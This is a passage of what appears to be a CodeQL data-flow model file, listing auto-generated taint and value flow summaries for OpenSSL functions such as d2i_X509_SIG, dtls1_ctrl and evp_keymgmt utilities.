["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_REVOKED", "(X509_REVOKED **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_SIG", "(X509_SIG **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_X509_VAL", "(X509_VAL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_bio", "(BIO *,X509 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[**1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[**1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[**1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[*1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[*1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[1]", "Argument[**1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[1]", "Argument[*1]", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_X509_fp", "(FILE *,X509 **)", "", "Argument[1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_int_dhx", "(int_dhx942_dh **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "dgst_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "dgst_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "dhparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "dhparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "do_X509_REQ_verify", "(X509_REQ *,EVP_PKEY *,stack_st_OPENSSL_STRING *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "do_X509_verify", "(X509 *,EVP_PKEY *,stack_st_OPENSSL_STRING *)", "", "Argument[*2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "do_dtls1_write", "(SSL_CONNECTION *,uint8_t,const unsigned char *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "do_ssl_shutdown", "(SSL *)", "", "Argument[0]", "Argument[*0].Field[**waitctx].Field[*callback_arg]", "value", "dfc-generated"] + - ["", "", True, "do_updatedb", "(CA_DB *,time_t *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "dsa_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "dsa_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "dsaparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "dsaparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "dtls1_close_construct_packet", "(SSL_CONNECTION *,WPACKET *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[***msg_callback_arg]", "value", "dfc-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[**3]", "Argument[*0].Field[*ext].Field[***debug_arg]", "value", "dfc-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[*3]", "Argument[3]", "value", "df-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "dtls1_ctrl", "(SSL *,int,long,void *)", "", "Argument[3]", "Argument[*3]", "value", "df-generated"] + - ["", "", True, "dtls1_get_message_header", "(const unsigned char *,hm_header_st *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "dtls1_get_message_header", "(const unsigned char *,hm_header_st *)", "", "Argument[0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "dtls1_get_queue_priority", "(unsigned short,int)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "dtls1_get_queue_priority", "(unsigned short,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "dtls1_get_timeout", "(const SSL_CONNECTION *,OSSL_TIME *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "dtls1_query_mtu", "(SSL_CONNECTION *)", "", "Argument[*0].Field[**d1].Field[*link_mtu]", "Argument[*0].Field[**d1].Field[*mtu]", "taint", "dfc-generated"] + - ["", "", True, "dtls1_read_bytes", "(SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *)", "", "Argument[4]", "Argument[*6]", "value", "dfc-generated"] + - ["", "", True, "dtls1_read_failed", "(SSL_CONNECTION *,int)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "dtls1_set_handshake_header", "(SSL_CONNECTION *,WPACKET *,int)", "", "Argument[*0].Field[**d1].Field[*next_handshake_write_seq]", "Argument[*0].Field[**d1].Field[*handshake_write_seq]", "value", "dfc-generated"] + - ["", "", True, "dtls1_set_message_header", "(SSL_CONNECTION *,unsigned char,size_t,size_t,size_t)", "", "Argument[*0].Field[**d1].Field[*next_handshake_write_seq]", "Argument[*0].Field[**d1].Field[*handshake_write_seq]", "value", "dfc-generated"] + - ["", "", True, "dtls1_write_app_data_bytes", "(SSL *,uint8_t,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "dtls1_write_bytes", "(SSL_CONNECTION *,uint8_t,const void *,size_t,size_t *)", "", "Argument[3]", "Argument[*4]", "value", "dfc-generated"] + - ["", "", True, "dtls_construct_hello_verify_request", "(SSL_CONNECTION *,WPACKET *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "dtls_get_message", "(SSL_CONNECTION *,int *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "dtls_get_message_body", "(SSL_CONNECTION *,size_t *)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "dtls_post_encryption_processing", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[*4]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "dtls_post_encryption_processing", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "dtls_post_encryption_processing", "(OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *)", "", "Argument[1]", "Argument[*4]", "taint", "df-generated"] + - ["", "", True, "dtls_prepare_record_header", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[*4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "dtls_prepare_record_header", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[4]", "Argument[**4]", "taint", "dfc-generated"] + - ["", "", True, "dtls_prepare_record_header", "(OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **)", "", "Argument[4]", "Argument[*4]", "taint", "dfc-generated"] + - ["", "", True, "dtls_process_hello_verify", "(SSL_CONNECTION *,PACKET *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "dtls_raw_hello_verify_request", "(WPACKET *,unsigned char *,size_t)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "ec_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ec_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "ecparam_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "ecparam_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "enc_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "enc_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[*0]", "Argument[*0].Field[**prev_dyn].Field[**next_dyn]", "value", "dfc-generated"] + - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[0]", "Argument[*0].Field[**prev_dyn].Field[*next_dyn]", "value", "dfc-generated"] + - ["", "", True, "engine_add_dynamic_id", "(ENGINE *,ENGINE_DYNAMIC_ID,int)", "", "Argument[1]", "Argument[*0].Field[*dynamic_id]", "value", "dfc-generated"] + - ["", "", True, "engine_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "engine_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "engine_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "engine_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "engine_table_cleanup", "(ENGINE_TABLE **)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "engine_table_register", "(ENGINE_TABLE **,ENGINE_CLEANUP_CB *,ENGINE *,const int *,int,int)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "engine_table_unregister", "(ENGINE_TABLE **,ENGINE *)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "engine_table_unregister", "(ENGINE_TABLE **,ENGINE *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "errstr_main", "(int,char **,char *[])", "", "Argument[**1]", "Argument[*1]", "value", "dfc-generated"] + - ["", "", True, "errstr_main", "(int,char **,char *[])", "", "Argument[*1]", "Argument[**1]", "value", "dfc-generated"] + - ["", "", True, "errstr_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[**1]", "taint", "dfc-generated"] + - ["", "", True, "errstr_main", "(int,char **,char *[])", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "evp_asym_cipher_get_number", "(const EVP_ASYM_CIPHER *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_cipher_get_number", "(const EVP_CIPHER *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_cipher_param_to_asn1_ex", "(EVP_CIPHER_CTX *,ASN1_TYPE *,evp_cipher_aead_asn1_params *)", "", "Argument[*1]", "Argument[1]", "taint", "df-generated"] + - ["", "", True, "evp_encode_ctx_set_flags", "(EVP_ENCODE_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "evp_kdf_get_number", "(const EVP_KDF *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_kem_get_number", "(const EVP_KEM *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_keyexch_get_number", "(const EVP_KEYEXCH *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_get_legacy_alg", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*legacy_alg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_get_number", "(const EVP_KEYMGMT *)", "", "Argument[*0].Field[*name_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_assign_pkey", "(EVP_PKEY *,EVP_KEYMGMT *,void *)", "", "Argument[**2]", "Argument[*0].Field[***keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_assign_pkey", "(EVP_PKEY *,EVP_KEYMGMT *,void *)", "", "Argument[*2]", "Argument[*0].Field[**keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_assign_pkey", "(EVP_PKEY *,EVP_KEYMGMT *,void *)", "", "Argument[1]", "Argument[*0].Field[*keymgmt]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_assign_pkey", "(EVP_PKEY *,EVP_KEYMGMT *,void *)", "", "Argument[2]", "Argument[*0].Field[*keydata]", "value", "dfc-generated"] + - ["", "", True, "evp_keymgmt_util_copy", "(EVP_PKEY *,EVP_PKEY *,int)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_export_to_provider", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_export_to_provider", "(EVP_PKEY *,EVP_KEYMGMT *,int)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "evp_keymgmt_util_export_to_provider", "(EVP_PKEY 